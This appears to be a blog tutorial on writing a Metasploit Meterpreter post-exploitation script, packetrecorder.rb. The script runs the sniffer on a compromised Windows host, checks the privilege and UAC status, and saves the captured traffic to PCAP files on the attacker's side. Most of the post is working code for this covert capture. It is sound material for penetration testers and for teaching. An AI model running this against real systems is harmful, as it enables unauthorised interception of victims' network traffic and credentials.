Now that we know the API calls and what variables to expect we can write a script for performing the automation. We will create the script in “scripts/meterpreter/” in the root of the latest SVN tree of 3.3, and call the script “packetrecorder.rb” (so as to give it a name that best describes its function). Lets start by breaking down the tasks we need the script to perform from what we have learned in previous blog posts about this module. The tasks we wish to perform are:

  1. Check the privilege level of the user we are running the commands under
    1. Is it System?
    2. Is it Not System?
      1. Is it Windows Vista or Windows 7?
        1. Check if UAC is Enabled
  2. Load Module and start Capture for interface given
  3. Save data to file in the time interval given
  4. Stop Capture and Exit

Know we now the tasks, lets review the information we will need to execute the sniffer:

  1. Interface index number
  2. Time Interval for retrieving the packets captured 

Lets start by putting a description of what the script does as comment at the beginning and create a variable to hold the Meterpreter client object:

#Meterpreter script for monitoring and capturing packets and
#saving them in to  a PCAP file.
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
session = client

Next we will gather information needed for creating a place to store the PCAP file and give us the ability to know from what IP and time the data was captured. In addition, to protect from over writing the data in the case of multiple shells, an instance of the script are achieved on a same host:

#Get Hostname
host,port = session.tunnel_peer.split(':')
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.config_directory, 'logs', 'packetrecorder', host + filenameinfo )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"

Create a variable with a default time interval in case the user does not provide it:

#Interval for collecting Packets in seconds
packtime = 30

Get the user under which we are running under since this information will be important if the script is ran on Windows Vista or Windows 7 target:

#Get user
user = session.sys.config.getuid

Det the arguments we will receive from the user for the running of the script:

@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-t"  => [ true,  "Time interval in seconds between recollection of packet, default 30 seconds."],
  "-i"  => [ true,  "Interface ID number where all packet capture will be done."],
)

 

Next, create a function for starting the capture, this function will receive the Meterpreter client session variable and the interface index. It will return true or false if it successfully started the packet capture. If it fails to start the packet capture it should give us as much information as possible of why not:

#Function for Starting Capture
def startsniff(session,intid)
        begin
        #Load Sniffer module
        session.core.use("sniffer")
        print_status("Starting Packet capture on interface #{intid}")
        #starting packet capture with a buffer size of 200,000 packets
        session.sniffer.capture_start(intid, 200000)
        print_status("Packet capture started")
        rescue ::Exception => e
                print_status("Error Starting Packet Capture: #{e.class} #{e}")
        end
end

Next, create a function for starting the recording of the packets, this function will receive the Meterpreter client session variable and the time interval in which to retrieve the packets captured and when interrumpted with a Crtl-c it will stop the capture and close the file, the file saving code was taken directly from the command dispatcher code ad modified :

def packetrecord(session, packtime, logfile,intid)
        begin
                rec = 1
                print_status("Packets being saved in to #{logfile}")
                #Inserting Packets every number of seconds specified
                print("[*] Recording .")
                while rec == 1
                        path_cap = logfile
                        path_raw = logfile + '.raw'
                        fd = ::File.new(path_raw, 'wb+')
                        #Flushing Buffers
                        res = session.sniffer.capture_dump(intid)
                        bytes_all = res[:bytes] || 0
                        bytes_got = 0
                        bytes_pct = 0
                        while (bytes_all > 0)
                                res = session.sniffer.capture_dump_read(intid,1024*512)
                                bytes_got += res[:bytes]
                                pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
                                if(pct > bytes_pct)
                                        bytes_pct = pct
                                end
                                break if res[:bytes] == 0
                                fd.write(res[:data])
                        end

                        fd.close
                        #Converting raw file to PCAP
                        fd = nil
                        if(::File.exist?(path_cap))
                                fd = ::File.new(path_cap, 'ab+')
                        else
                                fd = ::File.new(path_cap, 'wb+')
                                fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
                        end
                        pkts = {}
                        od = ::File.new(path_raw, 'rb')

                        # TODO: reorder packets based on the ID (only an issue if the buffer wraps)
                        while(true)
                                buf = od.read(20)
                                break if not buf

                                idh,idl,thi,tlo,len = buf.unpack('N5')
                                break if not len
                                if(len > 10000)
                                        print_error("Corrupted packet data (length:#{len})")
                                        break
                                end

                                pkt_id = (idh << 32) +idl
                                pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
                                pkt    = od.read(len)
                                fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
                        end
                        od.close
                        fd.close

                        ::File.unlink(path_raw)
                        sleep(2)
                        print(".")
                        sleep(packtime.to_i)

                end
        rescue::Exception => e
                print("\n")
                print_status("#{e.class} #{e}")
                print_status("Stopping Packet sniffer...")
                session.sniffer.capture_stop(intid)
        end
end

Since in Windows Vista and Windows 7 targets where if we are not running as System we must check if UAC is enabled since this will cause the capture to fail we create a function to check if UAC is enabled:

#Function for Checking for UAC
def checkuac(session)
	uac = false
	begin
		winversion = session.sys.config.sysinfo
		if winversion['OS']=~ /Windows Vista/ or  winversion['OS']=~ /Windows 7/
			print_status("Checking if UAC is enaled ...")
			key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
			root_key, base_key = session.sys.registry.splitkey(key)
			value = "EnableLUA"
			open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
			v = open_key.query_value(value)
			if v.data == 1
				uac = true
			else
				uac = false
			end
			open_key.close_key(key)
		end
	rescue ::Exception => e
		print_status("Error Checking UAC: #{e.class} #{e}")
	end
	return uac
end

Next, create a function to be displayed when the user uses the -h switch to get the options of the script:

def helpmsg
        print(
    "Packet Recorder Meterpreter Script\n" +
    "This script will start the Meterpreter Sniffer and save all packets\n" +
    "in a PCAP file for later anlysis. To stop capture hit Ctrl-C\n" +
    "Usage:" +
      @@exec_opts.usage
     )

end

Parse the options to saved the values into variables for use by our functions:

# Parsing of Options
helpcall = 0
intid = 0
@@exec_opts.parse(args) { |opt, idx, val|
        case opt

  when "-t"
    packtime = val
  when "-i"
    intid = val.to_i
  when "-h"
    helpmsg
    helpcall = 1
  end

}

Next, apply the logic of checking if the script is running as system and then checking if UAC is enabled for when the script is running against a Windows Vista or Windows 7 box:

if helpcall == 0
        if (user != "NT AUTHORITY\\SYSTEM") && intid != 0
                if not checkuac(session)
                        startsniff(session,intid)
                        packetrecord(session,packtime,logfile,intid)
                else
                        print_line("[-] The Meterpreter process is not running as System and UAC is not enable, Insufficient Privileges to run")
                end
        elsif intid != 0
                startsniff(session,intid)
                packetrecord(session,packtime,logfile,intid)
        else
                helpmsg
        end
end

The full script was committed to the Metasploit 3.3 Dev SVN. As you can tell I’m a big fan of using functions and doing error checking on them, the main reason is for code re-use and for simpler troubleshooting of the code when an error presents it self.

About the author